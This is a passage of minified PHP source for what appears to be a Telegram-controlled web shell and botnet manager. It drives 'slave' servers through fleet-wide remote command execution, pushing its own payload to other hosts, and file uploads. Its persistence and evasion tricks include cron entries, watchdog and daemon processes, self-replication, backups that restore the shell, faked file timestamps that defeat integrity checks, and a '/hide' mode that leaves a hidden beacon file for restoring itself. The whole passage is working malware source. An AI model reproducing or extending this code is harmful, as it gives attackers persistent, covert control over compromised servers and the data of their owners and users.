array("id"=>$rsid,"url"=>$url,"label"=>$label,"added_at"=>time(),"last_status"=>"ok","last_seen"=>time()); _fl_save($servers); wn_send($BOT, $CHAT, "[FLEET] Added: $label\nID: $rsid" . ($boot ? "\n(Bootstrapped)" : "") . "\nTotal: " . count($servers)); } else wn_send($BOT, $CHAT, "[X] " . ($r["error"] ?? "unknown") . "\nTry: /fleet add_force $url $label"); return; } if ($sub === "add_force") { $url = $parts[1] ?? ""; if (!preg_match("#^https?://#", $url)) { wn_send($BOT, $CHAT, "[X] invalid URL"); return; } $label = trim(implode(" ", array_slice($parts, 2))) ?: (parse_url($url, PHP_URL_HOST) ?: "server"); $servers = _fl_load(); $rsid = "srv_" . substr(md5($url), 0, 8); $servers = array_values(array_filter($servers, function ($s) use ($url) { return ($s["url"] ?? "") !== $url; })); $servers[] = array("id"=>$rsid,"url"=>$url,"label"=>$label,"added_at"=>time(),"last_status"=>"unreachable"); _fl_save($servers); wn_send($BOT, $CHAT, "[FLEET] Force-added: $label"); return; } if ($sub === "rm" || $sub === "remove") { $t = $parts[1] ?? ""; if ($t === "") { wn_send($BOT, $CHAT, "[X] /fleet rm <id|url|label>"); return; } $servers = _fl_load(); $before = count($servers); $servers = array_values(array_filter($servers, function ($s) use ($t) { return ($s["id"] ?? "") !== $t && ($s["url"] ?? "") !== $t && ($s["label"] ?? "") !== $t; })); _fl_save($servers); wn_send($BOT, $CHAT, "[FLEET] Removed " . ($before - count($servers)) . ", remaining " . count($servers)); return; } if ($sub === "ping") { $servers = _fl_load(); if (empty($servers)) { wn_send($BOT, $CHAT, "[FLEET] no slaves"); return; } $msg = "FLEET PING\n\n"; $updated = array(); foreach ($servers as $s) { if (!empty($s["hide"])) { $msg .= "HIDDEN " . ($s["label"] ?? "?") . "\n"; $updated[] = $s; continue; } $r = _fl_request($s["url"] ?? "", "ping"); if (!empty($r["pong"])) { $s["last_status"] = "ok"; $s["last_seen"] = time(); $msg .= "OK " . ($s["label"] ?? "?") . " PHP " . ($r["php"] ?? "?") . "\n"; } else { $s["last_status"] = "unreachable"; $msg .= "FAIL " . ($s["label"] ?? "?") . " -> " . ($r["error"] ?? "?") . "\n"; } $updated[] = $s; } _fl_save($updated); wn_send($BOT, $CHAT, $msg); return; } if ($sub === "install") { $t = $parts[1] ?? ""; if ($t === "") { wn_send($BOT, $CHAT, "[X] /fleet install <label>"); return; } $servers = _fl_load(); $s = null; foreach ($servers as $sv) if (($sv["id"] ?? "") === $t || ($sv["label"] ?? "") === $t || ($sv["url"] ?? "") === $t) { $s = $sv; break; } if (!$s) { wn_send($BOT, $CHAT, "[X] not found: $t"); return; } if (!empty($s["hide"])) { wn_send($BOT, $CHAT, "[X] " . ($s["label"] ?? "?") . " is hidden. Use /fleet show first."); return; } wn_send($BOT, $CHAT, "[FLEET] installing slave mode on " . ($s["label"] ?? "?") . "..."); $r = _fl_post($s["url"] ?? "", "install_slave", array(), 120); if (!empty($r["install"]["status"]) && $r["install"]["status"] === "success") { $L = $r["install"]["layers"] ?? array(); $msg = "[FLEET] slave installed: " . ($s["label"] ?? "?") . "\n\nWatcher: " . ($r["install"]["watcher_count"] ?? 0) . "\nDaemon: " . (!empty($L["daemon"]) ? "OK" : "FAIL") . "\nWatchdog: " . (!empty($L["watchdog"]) ? "OK" : "FAIL") . "\nCron: " . (!empty($L["cron"]) ? "OK" : "FAIL") . "\n\nBot polling: OFF (slave mode)"; wn_send($BOT, $CHAT, $msg); } else wn_send($BOT, $CHAT, "[FLEET] install failed: " . json_encode($r["install"] ?? $r)); return; } if ($sub === "deploy") { global $SHELL_PATH; $servers = _fl_load(); if (empty($servers)) { wn_send($BOT, $CHAT, "[FLEET] no slaves"); return; } $raw = @wn_call('fgc', $SHELL_PATH); if ($raw === false || strlen($raw) < 500) { wn_send($BOT, $CHAT, "[X] cannot read: $SHELL_PATH"); return; } $b64 = wn_call('b64e', $raw); wn_send($BOT, $CHAT, "[FLEET] deploying " . strlen($raw) . "b to " . count($servers) . " slave(s)..."); $ok = 0; $fail = 0; $details = ""; foreach ($servers as $s) { if (!empty($s["hide"])) { $details .= "SKIP " . ($s["label"] ?? "?") . " (hidden)\n"; $fail++; continue; } $r = _fl_post($s["url"] ?? "", "deploy_module", array("module_b64"=>$b64), 90); if (!empty($r["deployed"])) { $ok++; $details .= "OK " . ($s["label"] ?? "?") . " (" . ($r["size"] ?? 0) . "b)\n"; } else { $fail++; $details .= "FAIL " . ($s["label"] ?? "?") . " -> " . ($r["error"] ?? "?") . "\n"; } } wn_send($BOT, $CHAT, "[FLEET] deploy done:\n\n$details\nOK $ok / FAIL $fail"); return; } if ($sub === "exec") { $cmd = trim(substr((string)$args, strlen($parts[0]))); if ($cmd === "") { wn_send($BOT, $CHAT, "[X] /fleet exec <cmd>"); return; } $servers = _fl_load(); if (empty($servers)) { wn_send($BOT, $CHAT, "[FLEET] no slaves"); return; } $msg = "FLEET EXEC\n$ $cmd\n\n"; foreach ($servers as $s) { if (!empty($s["hide"])) { $msg .= "-- " . ($s["label"] ?? "?") . " -- SKIP (hidden)\n\n"; continue; } $r = _fl_request($s["url"] ?? "", "exec", array("cmd"=>$cmd), 30); $lbl = $s["label"] ?? "?"; if (isset($r["output"])) $msg .= "-- $lbl --\n" . substr((string)$r["output"], 0, 700) . "\n\n"; else $msg .= "-- $lbl -- FAIL " . ($r["error"] ?? "?") . "\n\n"; } wn_send($BOT, $CHAT, $msg); return; } if ($sub === "cmd") { $t = $parts[1] ?? ""; $cmd = trim(substr((string)$args, strlen($parts[0]) + strlen($t) + 2)); if ($t === "" || $cmd === "") { wn_send($BOT, $CHAT, "[X] /fleet cmd <id|label> <cmd>"); return; } $servers = _fl_load(); $s = null; foreach ($servers as $sv) if (($sv["id"] ?? "") === $t || ($sv["label"] ?? "") === $t || ($sv["url"] ?? "") === $t) { $s = $sv; break; } if (!$s) { wn_send($BOT, $CHAT, "[X] not found: $t"); return; } if (!empty($s["hide"])) { wn_send($BOT, $CHAT, "[X] " . ($s["label"] ?? "?") . " is hidden. Use /fleet show " . ($s["label"] ?? "?") . " first."); return; } $r = _fl_request($s["url"] ?? "", "exec", array("cmd"=>$cmd), 30); if (isset($r["output"])) { $out = (string)$r["output"]; if (strlen($out) > 3500) $out = substr($out, 0, 3500) . "\n...(truncated)"; wn_send($BOT, $CHAT, "[FLEET CMD: " . ($s["label"] ?? "?") . "]\n$ $cmd\n\n$out"); } else wn_send($BOT, $CHAT, "[X] " . ($r["error"] ?? "?")); return; } wn_send($BOT, $CHAT, "FLEET:\n\n/fleet\n/fleet list\n/fleet hide <label> | /fleet show <label>\n/fleet key gen|set|push|rotate\n/fleet add <url> [label]\n/fleet add_force <url> [label]\n/fleet install <label>\n/fleet rm <id>\n/fleet ping\n/fleet deploy\n/fleet exec <cmd>\n/fleet cmd <id> <cmd>"); } function wn_handle_update($u,$BOT,$CHAT,$ROOT,$SHELL,$SHELL_PATH,$SELF_URL,$SECRET,$state,$BACKUPS,$HOME){ global $REPLICA_BACKUPS,$MAIN_WATCHERS,$REPLICA_WATCHERS,$DAEMON_PHP_NAME,$WATCHDOG_PHP_NAME,$EMBEDDED_SHELL_B64,$WATCHDOG_PID_PATH,$DAEMON_PID_PATH; $text=isset($u["message"]["text"])?trim($u["message"]["text"]):"";$caption=isset($u["message"]["caption"])?trim($u["message"]["caption"]):"";$from=isset($u["message"]["from"]["id"])?$u["message"]["from"]["id"]:""; if((string)$from!==(string)$CHAT){_dbg("DROP","from=$from");return;} _dbg("CMD",substr($text?:$caption,0,80)); $__lc_tmp=strtolower(trim($text?:$caption));$__isMonitor=in_array($__lc_tmp,array('/status','/help','/start','/menu','/debug','/list_backups','/uninstall','/guardian','/hide','/show'))||preg_match('#^/(deadman|integrity|fleet)(\s|$)#i',$__lc_tmp); if(!$__isMonitor)_c("fpc",wn_p("activity"),time()); $putDoc=null;$putArg=""; if(isset($u["message"]["document"]["file_id"])&&preg_match("#^/put(?:\\s+(.+))?$#is",$caption,$mm)){$putDoc=$u["message"]["document"];$putArg=isset($mm[1])?trim($mm[1]):"";} if($putDoc===null&&isset($u["message"]["reply_to_message"]["document"]["file_id"])){$replyCap=$text!==""?$text:$caption;if(preg_match("#^/put(?:\\s+(.+))?$#is",$replyCap,$mm)){$putDoc=$u["message"]["reply_to_message"]["document"];$putArg=isset($mm[1])?trim($mm[1]):"";}} if($putDoc!==null){ $fname=$putDoc["file_name"]??"upload.bin";$fleetTarget=null;$fleetRealDest=$putArg; if($putArg!==""){$parts=preg_split('/\s+/',$putArg,2);$maybeLabel=$parts[0];$servers=function_exists('_fl_load')?_fl_load():array();foreach($servers as $s){if(($s['label']??'')===$maybeLabel||($s['id']??'')===$maybeLabel||($s['url']??'')===$maybeLabel){$fleetTarget=$s;$fleetRealDest=trim($parts[1]??'')?:('/tmp/'.$fname);break;}}} if($fleetTarget!==null){if(!function_exists('_fl_post')){wn_send($BOT,$CHAT,"[X] fleet module not available");return;}$fileId=$putDoc["file_id"];$fsize=$putDoc["file_size"]??0;if($fsize>25*1024*1024){wn_send($BOT,$CHAT,"[X] File too large");return;}$tmp=sys_get_temp_dir().'/fleet_up_'.getmypid().'_'.time();$bytes=wn_download_file($BOT,$fileId,$tmp);if($bytes===false||$bytes<=0){wn_send($BOT,$CHAT,"[X] Download failed");@unlink($tmp);return;}$raw=@file_get_contents($tmp);@unlink($tmp);if($raw===false){wn_send($BOT,$CHAT,"[X] Read failed");return;}$b64=_c('b64e',$raw);$r=_fl_post($fleetTarget['url'],'put_file',['file_b64'=>$b64,'dest'=>$fleetRealDest,'fname'=>$fname],120);if(!empty($r['saved'])){wn_send($BOT,$CHAT,"[FLEET PUT] OK -> ".($fleetTarget['label']??'?')."\n".htmlspecialchars($fname,ENT_QUOTES,"UTF-8")."\n".$r['size']." bytes\n".htmlspecialchars($r['path'],ENT_QUOTES,"UTF-8"));}else{wn_send($BOT,$CHAT,"[FLEET PUT] FAIL\n".($r['error']??'?'));}return;} $dest=$putArg;if($dest==="")$dest=$ROOT."/".$fname;elseif(is_dir($dest)||substr($dest,-1)==="/")$dest=rtrim($dest,"/")."/".$fname;$fileId=$putDoc["file_id"];$fsize=$putDoc["file_size"]??0;if($fsize>20*1024*1024)wn_send($BOT,$CHAT,"[X] File too large");else{$oldMtime=0;$isShellPath=($dest===$SHELL_PATH);if($isShellPath){$sm=wn_read_mtime();if($sm>0)$oldMtime=$sm;elseif(file_exists($dest))$oldMtime=@filemtime($dest);}elseif(file_exists($dest))$oldMtime=@filemtime($dest);$bytes=wn_download_file($BOT,$fileId,$dest);if($bytes!==false&&$bytes>0){@chmod($dest,0644);if($oldMtime>0)@touch($dest,$oldMtime,$oldMtime);if($isShellPath){wn_set_hidden(false);_c("fpc",wn_p("integrity_pause"),time());}$suffix="";if($oldMtime>0)$suffix="\nmtime: ".date("Y-m-d H:i:s",$oldMtime)." (preserved)";if($isShellPath){$__pM=round(wn_pause_ttl()/60,1);$suffix.="\n\nIntegrity paused {$__pM} min. Run /install.";}wn_send($BOT,$CHAT,"[OK] Saved\n".htmlspecialchars($fname,ENT_QUOTES,"UTF-8")."\n".$bytes." bytes\n".htmlspecialchars($dest,ENT_QUOTES,"UTF-8").$suffix);}else wn_send($BOT,$CHAT,"[X] Save failed");}return; } $editSavePath=null; if(isset($u["message"]["reply_to_message"]["text"])&&$text!==""){$replyText=$u["message"]["reply_to_message"]["text"];if(preg_match("#^\\[EDIT\\]\\s+(/\\S+)#m",$replyText,$em))$editSavePath=trim($em[1]);} if($editSavePath!==null){$newContent=$text;if(preg_match("#^/save\\s*\\n?#",$newContent))$newContent=preg_replace("#^/save\\s*\\n?#","",$newContent);if(!file_exists($editSavePath))wn_send($BOT,$CHAT,"[X] Not found");elseif(!is_file($editSavePath))wn_send($BOT,$CHAT,"[X] Not a file");elseif(!is_writable($editSavePath))wn_send($BOT,$CHAT,"[X] Not writable");else{$oldSize=@filesize($editSavePath);$oldMtime=@filemtime($editSavePath);$isShellPath=($editSavePath===$SHELL_PATH);if($isShellPath){$sm=wn_read_mtime();if($sm>0)$oldMtime=$sm;}if(_c("fpc",$editSavePath,$newContent)!==false){if($oldMtime>0)@touch($editSavePath,$oldMtime,$oldMtime);if($isShellPath){wn_set_hidden(false);_c("fpc",wn_p("integrity_pause"),time());}$suffix="";if($isShellPath){$__pM=round(wn_pause_ttl()/60,1);$suffix="\nIntegrity paused {$__pM} min";}wn_send($BOT,$CHAT,"[OK] Saved\n".htmlspecialchars($editSavePath,ENT_QUOTES,"UTF-8")."\n$oldSize -> ".strlen($newContent)." bytes".$suffix);}else wn_send($BOT,$CHAT,"[X] Write failed");}return;} if($text===""&&$caption==="")return;if($text===""&&$caption!=="")$text=$caption; $lc=strtolower($text); /* /UNINSTALL */ if($lc==="/uninstall"){ $__skey_l = hash("sha256","st:".$BOT,true); $__offsetFile = $state . "/.of_" . substr(md5($BOT),0,8); $__seenFile = $__offsetFile . ".seen"; $__uid = isset($u["update_id"]) ? (string)$u["update_id"] : ""; if ($__uid !== "") { wn_sw($__seenFile, $__uid, $__skey_l); wn_sw($__offsetFile, $__uid, $__skey_l); } $__cron = (string)_c("se", "crontab -l 2>/dev/null"); if ($__cron !== "") { $__keep = array(); foreach (explode("\n", $__cron) as $__l) { if (stripos($__l, "php-sess") !== false) continue; if (stripos($__l, "slave.php") !== false) continue; if (stripos($__l, ".upd_") !== false) continue; if (stripos($__l, ".tmp_") !== false) continue; if (trim($__l) === "") continue; $__keep[] = $__l; } $__tmp = tempnam(sys_get_temp_dir(), "cron_"); if ($__tmp) { @_c("fpc", $__tmp, implode("\n", $__keep) . "\n"); @_c("se", "crontab " . escapeshellarg($__tmp) . " 2>/dev/null"); @unlink($__tmp); } } @_c("fpc", wn_p("dying"), (string)time(), LOCK_EX); wn_send($BOT,$CHAT,"[UNINSTALL] Cleaning up..."); @_c("se","pkill -9 -f ".escapeshellarg($WATCHDOG_PHP_NAME)." 2>/dev/null"); @unlink($WATCHDOG_PID_PATH); usleep(400000); @_c("se","pkill -9 -f ".escapeshellarg($DAEMON_PHP_NAME)." 2>/dev/null"); @unlink($DAEMON_PID_PATH); usleep(400000); $__selfPid = getmypid(); $__otherPids = @_c("se", "pgrep -f 'php-sess-' 2>/dev/null"); if ($__otherPids) { foreach (explode("\n", trim($__otherPids)) as $__p) { $__p = (int)trim($__p); if ($__p > 0 && $__p !== $__selfPid) @_c("se", "kill -9 " . $__p . " 2>/dev/null"); } } foreach ($MAIN_WATCHERS as $__f) @unlink($__f); foreach ($REPLICA_WATCHERS as $__f) @unlink($__f); foreach ($BACKUPS as $__f) @unlink($__f); foreach ($REPLICA_BACKUPS as $__f) @unlink($__f); @unlink(dirname(__FILE__) . "/" . $DAEMON_PHP_NAME); @unlink(dirname(__FILE__) . "/" . $WATCHDOG_PHP_NAME); @unlink($state . "/.lv_" . substr(md5($BOT),0,8)); @unlink($state . "/.lk_" . substr(md5($BOT),0,8)); @unlink($state . "/.fleet_key"); @unlink($state . "/.fleet_registry.json"); wn_send($BOT,$CHAT,"[UNINSTALLED]\nAll processes killed.\nCron removed.\nBot offline."); exit(0); } if($lc==="/install"||$lc==="/reinstall"){if(wn_is_hidden()){wn_set_hidden(false);wn_send($BOT,$CHAT,"[!] Hidden state cleared by /install. Proceeding...");}wn_send($BOT,$CHAT,"Reinstalling...");if(!file_exists($SHELL_PATH)){$r=wn_restore_shell();if(!$r["ok"]){wn_send($BOT,$CHAT,"[X] Cannot restore: ".$r["msg"]);return;}wn_send($BOT,$CHAT,"[SELF-HEAL] ".$r["msg"]);}$out=wn_tg($SELF_URL."?wn_tg=reinstall&key=".urlencode($SECRET),60);if(!$out||$out==="FORBIDDEN"||strlen($out)<10)wn_send($BOT,$CHAT,"[X] Reinstall gagal.");else wn_send($BOT,$CHAT,substr($out,0,3500));} elseif($lc==="/hide"){ if(wn_is_hidden()){wn_send($BOT,$CHAT,"[HIDE] Already hidden since ".date("Y-m-d H:i:s",@filemtime(wn_p("stealth_key")))."\nRestore: /show");return;} if(!file_exists($SHELL_PATH)){wn_send($BOT,$CHAT,"[X] slave.php not found — nothing to hide");return;} $dr=dirname($SHELL_PATH); if(!is_dir($dr)||!is_writable($dr)){wn_send($BOT,$CHAT,"[X] docroot not writable");return;} $backupPath=$state."/.slave_hidden_backup.php"; if(@copy($SHELL_PATH,$backupPath)===false){wn_send($BOT,$CHAT,"[X] backup failed");return;} @chmod($backupPath,0600); $token=bin2hex(random_bytes(24)); $beaconName=".cache_".substr(hash("sha256","beacon:".$token),0,12).".php"; $beaconPath=$dr."/".$beaconName; $statePath=wn_p("stealth_key")."_hide"; $beaconCode="<?php\n" ."if((\$_GET['t']??'')!==".var_export($token,true)."){http_response_code(404);exit;}\n" ."\$b=".var_export($backupPath,true).";\$t=".var_export($SHELL_PATH,true).";\n" ."if(!@is_file(\$b)){http_response_code(500);echo 'no_backup';exit;}\n" ."if(@is_file(\$t)&&@filesize(\$t)>500){@unlink(" . var_export($statePath,true). ");@unlink(__FILE__);echo 'ok';exit;}\n" ."if(!@copy(\$b,\$t)){http_response_code(500);echo 'copy_fail';exit;}\n" ."@chmod(\$t,0644);@unlink(" . var_export($statePath,true). ");@unlink(__FILE__);echo 'ok';\n"; if(@_c("fpc",$beaconPath,$beaconCode)===false){wn_send($BOT,$CHAT,"[X] beacon write failed");@unlink($backupPath);return;} @chmod($beaconPath,0644); $baseUrl=preg_replace("#/[^/]+$#","",$SELF_URL); if(strpos($baseUrl,"http")!==0){$scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=="off")?"https":"http";$host=$_SERVER['HTTP_HOST']??(@gethostname()?:"localhost");$baseUrl=$scheme."://".$host;} $beaconUrl=rtrim($baseUrl,"/")."/".$beaconName; $stateData=json_encode(array("beacon_url"=>$beaconUrl,"token"=>$token,"backup_path"=>$backupPath,"slave_path"=>$SHELL_PATH,"hidden_at"=>time())); @_c("fpc",$statePath,$stateData,LOCK_EX); @chmod($statePath,0600); @_c("fpc",wn_p("dying"),(string)time(),LOCK_EX); if(!@unlink($SHELL_PATH)){wn_send($BOT,$CHAT,"[X] unlink failed — rollback");@unlink($beaconPath);@unlink($statePath);return;} wn_send($BOT,$CHAT,"[HIDE] OK\nslave.php removed.\nBeacon: ".$beaconUrl."\nRestore: /show\nTTL: 7 days (auto-restore)"); } elseif($lc==="/show"){ $statePath=wn_p("stealth_key")."_hide"; if(!file_exists($statePath)){if(file_exists($SHELL_PATH)){wn_send($BOT,$CHAT,"[SHOW] Not hidden.");}else{wn_send($BOT,$CHAT,"[X] Not hidden and slave.php missing.\nFallback: /put slave.php");}return;} $raw=@_c("fgc",$statePath); $state=is_string($raw)?@json_decode($raw,true):null; $restored=false;$method=""; if(is_array($state)&&!empty($state["backup_path"])&&@is_file($state["backup_path"])){ if(@copy($state["backup_path"],$SHELL_PATH)!==false){@chmod($SHELL_PATH,0644);$restored=true;$method="direct copy";} } if(!$restored&&is_array($state)&&!empty($state["beacon_url"])&&!empty($state["token"])){ $bu=$state["beacon_url"]."?t=".urlencode($state["token"]); $res=wn_tg($bu,15); if(trim((string)$res)==="ok"){$restored=true;$method="beacon HTTP";} } if($restored){ @unlink($statePath); @unlink(wn_p("dying")); $dr=dirname($SHELL_PATH); if(is_array($state)&&!empty($state["token"])){ foreach((array)glob($dr."/.cache_*.php") as $bf){ $bc=@_c("fgc",$bf); if($bc!==false&&strpos($bc,$state["token"])!==false){@unlink($bf);break;} } } wn_send($BOT,$CHAT,"[SHOW] OK\nslave.php restored ($method)."); } else wn_send($BOT,$CHAT,"[X] Restore failed — no backup, no beacon.\nFallback: /put slave.php"); } elseif($lc==="/guardian"||preg_match("#^/guardian\s+#i",$text)){$ga=preg_match("#^/guardian\s+(.+)#i",$text,$gm)?strtolower(trim($gm[1])):"status";if($ga==="capture"){$cur=wn_g_capture();$n=wn_g_save($cur);wn_send($BOT,$CHAT,"[GUARDIAN] captured ".count($cur)." layers -> $n locations");}elseif($ga==="restore"){$snap=wn_g_load();if($snap===null||$snap==="CORRUPT")wn_send($BOT,$CHAT,"[GUARDIAN] no valid snapshot");else{$r=wn_guardian(true);wn_send($BOT,$CHAT,"[GUARDIAN] restored: ".(empty($r)?"none":implode(", ",$r)));}}else{$snap=wn_g_load();if($snap===null)wn_send($BOT,$CHAT,"[GUARDIAN] no snapshot yet");elseif($snap==="CORRUPT")wn_send($BOT,$CHAT,"[GUARDIAN] snapshot CORRUPT");else{$cur=wn_g_capture();$lines=array("[GUARDIAN] snapshot ".count($snap)." layers / current ".count($cur)." layers","");foreach($snap as $n=>$c){$st=isset($cur[$n])?"OK":"MISSING";$lines[]=" $st: $n";}wn_send($BOT,$CHAT,implode("\n",$lines));}}} elseif($lc==="/restore_self"){if(file_exists($SHELL_PATH))wn_send($BOT,$CHAT,"Shell already exists");else{$r=wn_restore_shell();wn_send($BOT,$CHAT,$r["ok"]?"[OK] ".$r["msg"]:"[X] ".$r["msg"]);}} elseif($lc==="/heal"){$healed=wn_heal_backups();$bl=array();foreach(array_merge($BACKUPS,$REPLICA_BACKUPS) as $bk)$bl[]=(file_exists($bk)?"OK ":"MISS ").htmlspecialchars($bk,ENT_QUOTES,"UTF-8");wn_send($BOT,$CHAT,"HEALED: $healed\n\n".implode("\n",$bl));} elseif($lc==="/replicate"){$n=wn_self_replicate();wn_send($BOT,$CHAT,"[REPLICATE] $n new");} elseif($lc==="/heal_cron"){$cronNow=wn_sh("crontab -l 2>/dev/null")?:"";if(stripos($cronNow,"php-sess")!==false||stripos($cronNow,"cleanup.lock")!==false)wn_send($BOT,$CHAT,"[OK] Cron present");else{@unlink(wn_p("selfheal"));wn_send($BOT,$CHAT,"[!] Cron missing");}} elseif($lc==="/list_backups"){$bl=array();foreach(array_merge($BACKUPS,$REPLICA_BACKUPS) as $bk)$bl[]=(file_exists($bk)?"OK ":"MISS ").htmlspecialchars($bk,ENT_QUOTES,"UTF-8");wn_send($BOT,$CHAT,"BACKUPS:\n".implode("\n",$bl));} elseif($lc==="/status"){$alive=file_exists($SHELL_PATH);$isHidden=wn_is_hidden();$hiddenStr=$isHidden?("HIDDEN (".round(wn_hide_age()/3600,1)."h, beacon active)"):"no";$daemonPid=(int)_c("fgc",wn_p("daemon_pid"));$daemonAlive=false;if($daemonPid>0){$dc=trim((string)wn_sh("ps -p $daemonPid -o args= 2>/dev/null"));if($dc!=="")$daemonAlive=true;}if(!$daemonAlive){$dFound=trim((string)wn_sh("pgrep -f ".escapeshellarg($DAEMON_PHP_NAME)." 2>/dev/null"));if($dFound!==""){$daemonAlive=true;$lines=array_values(array_filter(explode("\n",$dFound)));if(!empty($lines))$daemonPid=(int)$lines[0];}}$wdPid=(int)_c("fgc",wn_p("watchdog_pid"));$wdAlive=false;if($wdPid>0){$dc=trim((string)wn_sh("ps -p $wdPid -o args= 2>/dev/null"));if($dc!=="")$wdAlive=true;}if(!$wdAlive){$wFound=trim((string)wn_sh("pgrep -f ".escapeshellarg($WATCHDOG_PHP_NAME)." 2>/dev/null"));if($wFound!==""){$wdAlive=true;$lines=array_values(array_filter(explode("\n",$wFound)));if(!empty($lines))$wdPid=(int)$lines[0];}}$wCount=0;foreach($MAIN_WATCHERS as $w)if(file_exists($w))$wCount++;$bCount=0;foreach(array_merge($BACKUPS,$REPLICA_BACKUPS) as $b)if(file_exists($b))$bCount++;$lastHb=(int)_c("fgc",wn_p("heartbeat"));$hbAge=$lastHb>0?round((time()-$lastHb)/60,1)."m ago":"never";$stealthOn=file_exists(wn_p("stealth_on"));$hostName=parse_url($SELF_URL,PHP_URL_HOST);if(!$hostName)$hostName=@gethostname()?:"?";$sysHost=@gethostname()?:"?";$curUser=function_exists("posix_getpwuid")?(@posix_getpwuid(@posix_getuid())["name"]??"?"):(@getenv("USER")?:"?");$isRoot=($curUser==="root");$mode=defined("WN_SLAVE_MODE")&&WN_SLAVE_MODE?"SLAVE":"MASTER";wn_send($BOT,$CHAT,"STATUS\n\nMode: $mode\nHost: ".$hostName."\nPath: ".$ROOT."\nUser: ".$curUser.($isRoot?" [root]":"")."\nPHP: ".PHP_VERSION."\nShell: ".($alive?"ALIVE":"DELETED")."\nHidden: ".$hiddenStr."\nWatchers: $wCount/".count($MAIN_WATCHERS)."\nBackups: $bCount/".(count($BACKUPS)+count($REPLICA_BACKUPS))."\nDaemon: ".($daemonAlive?"alive ($daemonPid)":"dead")."\nWatchdog: ".($wdAlive?"alive ($wdPid)":"dead")."\nStealth: ".($stealthOn?"ON":"OFF")."\nLast heartbeat: $hbAge\n\nTime: ".date("Y-m-d H:i:s"));} elseif($lc==="/integrity"||preg_match("#^/integrity\\s+#i",$text)){$iargs=preg_match("#^/integrity\\s+(.+)#i",$text,$m)?trim($m[1]):"status";$iSub=strtolower($iargs);$pauseFile=wn_p("integrity_pause");$checkFile=wn_p("integrity_check");$alertFile=wn_p("integrity_alert");if($iSub==="pause"){_c("fpc",$pauseFile,time());$__pM=round(wn_pause_ttl()/60,1);wn_send($BOT,$CHAT,"[INTEGRITY] Paused {$__pM} min");}elseif($iSub==="resume"){@unlink($pauseFile);@unlink($alertFile);wn_send($BOT,$CHAT,"[INTEGRITY] Resumed");}elseif($iSub==="now"){@unlink($checkFile);@unlink($alertFile);wn_send($BOT,$CHAT,"[INTEGRITY] Next iteration");}elseif(preg_match('#^set_mtime\s+(.+)$#i',$iargs,$mm)){$str=trim($mm[1]);$ts=is_numeric($str)?(int)$str:strtotime($str);if($ts===false||$ts<=0)wn_send($BOT,$CHAT,"[X] Invalid");else{$wrote=wn_write_mtime($ts);$touched=false;if(file_exists($SHELL_PATH)){clearstatcache(true,$SHELL_PATH);$touched=@touch($SHELL_PATH,$ts,$ts);}wn_send($BOT,$CHAT,"[INTEGRITY] mtime set\n".date("Y-m-d H:i:s",$ts)."\nWritten: ".($wrote?"yes":"FAIL")."\nTouch: ".($touched?"OK":"FAIL"));}}elseif($iSub==="reset_mtime"){wn_clear_mtime();wn_send($BOT,$CHAT,"[INTEGRITY] mtime cleared");}elseif(preg_match('#^pause_ttl\s+(.+)$#i',$iargs,$mm)){$sec=wn_parse_duration($mm[1]);if($sec<60)wn_send($BOT,$CHAT,"[X] Min 60s");elseif($sec>2592000)wn_send($BOT,$CHAT,"[X] Max 30 days");else{$f=wn_p("integrity_pause_ttl");_c("fpc",$f,(string)$sec,LOCK_EX);@chmod($f,0600);wn_send($BOT,$CHAT,"[INTEGRITY] TTL: {$sec}s");}}elseif($iSub==="pause_ttl_reset"){@unlink(wn_p("integrity_pause_ttl"));wn_send($BOT,$CHAT,"[INTEGRITY] TTL reset 3600s");}else{$curTtl=wn_pause_ttl();$pausedStr="no";if(file_exists($pauseFile)){$left=$curTtl-(time()-(int)_c("fgc",$pauseFile));if($left>0)$pausedStr="yes ({$left}s)";}$lastCheck=(int)_c("fgc",$checkFile);$lastCheckStr=$lastCheck>0?(time()-$lastCheck)."s ago":"never";$exists=file_exists($SHELL_PATH);$curSize=$exists?(@filesize($SHELL_PATH)?:0):0;$curHash=$exists?substr(@hash_file("sha256",$SHELL_PATH)?:"?",0,16):"?";$expectedSize=0;$expectedHash="?";if(!empty($EMBEDDED_SHELL_B64)){$r=_c("b64d",$EMBEDDED_SHELL_B64);if($r!==false&&strlen($r)>100){$expectedSize=strlen($r);$expectedHash=substr(hash("sha256",$r),0,16);}}$match=($curHash===$expectedHash&&$curSize===$expectedSize)?"YES":"NO";wn_send($BOT,$CHAT,"[INTEGRITY] Status\n\nPaused: $pausedStr\nTTL: {$curTtl}s\nLast check: $lastCheckStr\nExists: ".($exists?"yes":"NO")."\nSize: $curSize / $expectedSize\nHash: $curHash / $expectedHash\nMatch: $match");}} elseif($lc==="/siluman"||preg_match("#^/siluman\\s+#i",$text)){$args=preg_match("#^/siluman\\s+(.+)#i",$text,$mm3)?trim($mm3[1]):"status";$parts=preg_split("/\\s+/",$args);$sub=strtolower($parts[0]??"status");$onFile=wn_p("stealth_on");$keyFile=wn_p("stealth_key");if($sub==="on"){_c("fpc",$onFile,"1",LOCK_EX);@chmod($onFile,0600);$k=file_exists($keyFile)?trim((string)_c("fgc",$keyFile)):"";if(strlen($k)<16){try{$k=bin2hex(random_bytes(16));}catch(Throwable $e){$k=substr(hash("sha256",microtime(true)),0,32);}_c("fpc",$keyFile,$k,LOCK_EX);@chmod($keyFile,0600);}wn_send($BOT,$CHAT,"[SILUMAN] ON\n\n$k");}elseif($sub==="off"){@unlink($onFile);wn_send($BOT,$CHAT,"[SILUMAN] OFF");}elseif($sub==="key"){$otpUrl=$SELF_URL."?wn_otp=gen&key=".urlencode($SECRET);$token=trim((string)wn_tg($otpUrl,10));if(!preg_match("#^[a-f0-9]{32}$#",$token))wn_send($BOT,$CHAT,"[X] OTP fail");else{$u=rtrim($SELF_URL,"/");$q=strpos($u,"?")===false?"?p=":"&p=";wn_send($BOT,$CHAT,"[SILUMAN OTP]\n".$u.$q.$token);}}elseif($sub==="rotate"){try{$k=bin2hex(random_bytes(16));}catch(Throwable $e){$k=substr(hash("sha256",microtime(true).mt_rand()),0,32);}_c("fpc",$keyFile,$k,LOCK_EX);@chmod($keyFile,0600);wn_send($BOT,$CHAT,"[SILUMAN] Rotated\n".$k);}else{wn_send($BOT,$CHAT,"[SILUMAN] ".(file_exists($onFile)?"ON":"OFF"));}} elseif($lc==="/fleet"||preg_match("#^/fleet\\s+#i",$text)){$fleetArgs=preg_match("#^/fleet\\s+(.+)#i",$text,$fm)?trim($fm[1]):"";_fl_cmd($fleetArgs,$BOT,$CHAT);} elseif(preg_match("#^/exec\\s+(.+)#is",$text,$m)){$cmdline=trim($m[1]);$out=wn_sh("timeout 15 